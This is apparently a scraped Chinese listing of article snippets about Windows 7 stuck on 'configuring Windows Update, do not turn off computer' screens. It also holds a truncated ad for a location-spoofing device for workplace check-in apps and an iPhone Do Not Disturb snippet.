    原标题:电脑提示“配置Windows Update请勿关闭计算机”怎么办?win7系统中在开机与关闭的时候总是显示“配置windows update请勿关闭计算机”相信有不少朋友都曾遇到过一次两次还能忍但经常遇到就叫人感到心烦了遇到这种问题怎么办呢?一般的方…...

    2022/11/19 21:17:08
  36. 计算机正在配置无法关机,关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机...

    关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!关机提示 windows7 正在配…...

    2022/11/19 21:17:05
  37. 钉钉提示请勿通过开发者调试模式_钉钉请勿通过开发者调试模式是真的吗好不好用...

    钉钉请勿通过开发者调试模式是真的吗好不好用 更新时间:2020-04-20 22:24:19 浏览次数:729次 区域: 南阳 > 卧龙 列举网提醒您:为保障您的权益,请不要提前支付任何费用! 虚拟位置外设器!!轨迹模拟&虚拟位置外设神器 专业用于:钉钉,外勤365,红圈通,企业微信和…...

    2022/11/19 21:17:05
  38. 配置失败还原请勿关闭计算机怎么办,win7系统出现“配置windows update失败 还原更改 请勿关闭计算机”,长时间没反应,无法进入系统的解决方案...

    前几天班里有位学生电脑(windows 7系统)出问题了,具体表现是开机时一直停留在“配置windows update失败 还原更改 请勿关闭计算机”这个界面,长时间没反应,无法进入系统。这个问题原来帮其他同学也解决过,网上搜了不少资料&#x…...

    2022/11/19 21:17:04
  39. 一个电脑无法关闭计算机你应该怎么办,电脑显示“清理请勿关闭计算机”怎么办?...

    本文为你提供了3个有效解决电脑显示“清理请勿关闭计算机”问题的方法,并在最后教给你1种保护系统安全的好方法,一起来看看!电脑出现“清理请勿关闭计算机”在Windows 7(SP1)和Windows Server 2008 R2 SP1中,添加了1个新功能在“磁…...

    2022/11/19 21:17:03
  40. 请勿关闭计算机还原更改要多久,电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机怎么办...

    许多用户在长期不使用电脑的时候,开启电脑发现电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机。。.这要怎么办呢?下面小编就带着大家一起看看吧!如果能够正常进入系统,建议您暂时移…...

    2022/11/19 21:17:02
  41. 还原更改请勿关闭计算机 要多久,配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以...

    配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!配置windows update失败 还原更改 请勿关闭计算机&#x…...

    2022/11/19 21:17:01
  42. 电脑配置中请勿关闭计算机怎么办,准备配置windows请勿关闭计算机一直显示怎么办【图解】...

    不知道大家有没有遇到过这样的一个问题,就是我们的win7系统在关机的时候,总是喜欢显示“准备配置windows,请勿关机”这样的一个页面,没有什么大碍,但是如果一直等着的话就要两个小时甚至更久都关不了机,非常…...

    2022/11/19 21:17:00
  43. 正在准备配置请勿关闭计算机,正在准备配置windows请勿关闭计算机时间长了解决教程...

    当电脑出现正在准备配置windows请勿关闭计算机时,一般是您正对windows进行升级,但是这个要是长时间没有反应,我们不能再傻等下去了。可能是电脑出了别的问题了,来看看教程的说法。正在准备配置windows请勿关闭计算机时间长了方法一…...

    2022/11/19 21:16:59
  44. 配置失败还原请勿关闭计算机,配置Windows Update失败,还原更改请勿关闭计算机...

    我们使用电脑的过程中有时会遇到这种情况,当我们打开电脑之后,发现一直停留在一个界面:“配置Windows Update失败,还原更改请勿关闭计算机”,等了许久还是无法进入系统。如果我们遇到此类问题应该如何解决呢&#xff0…...

    2022/11/19 21:16:58
  45. 如何在iPhone上关闭“请勿打扰”

    Apple’s “Do Not Disturb While Driving” is a potentially lifesaving iPhone feature, but it doesn’t always turn on automatically at the appropriate time. For example, you might be a passenger in a moving car, but your iPhone may think you’re the one dri…...

    2022/11/19 21:16:57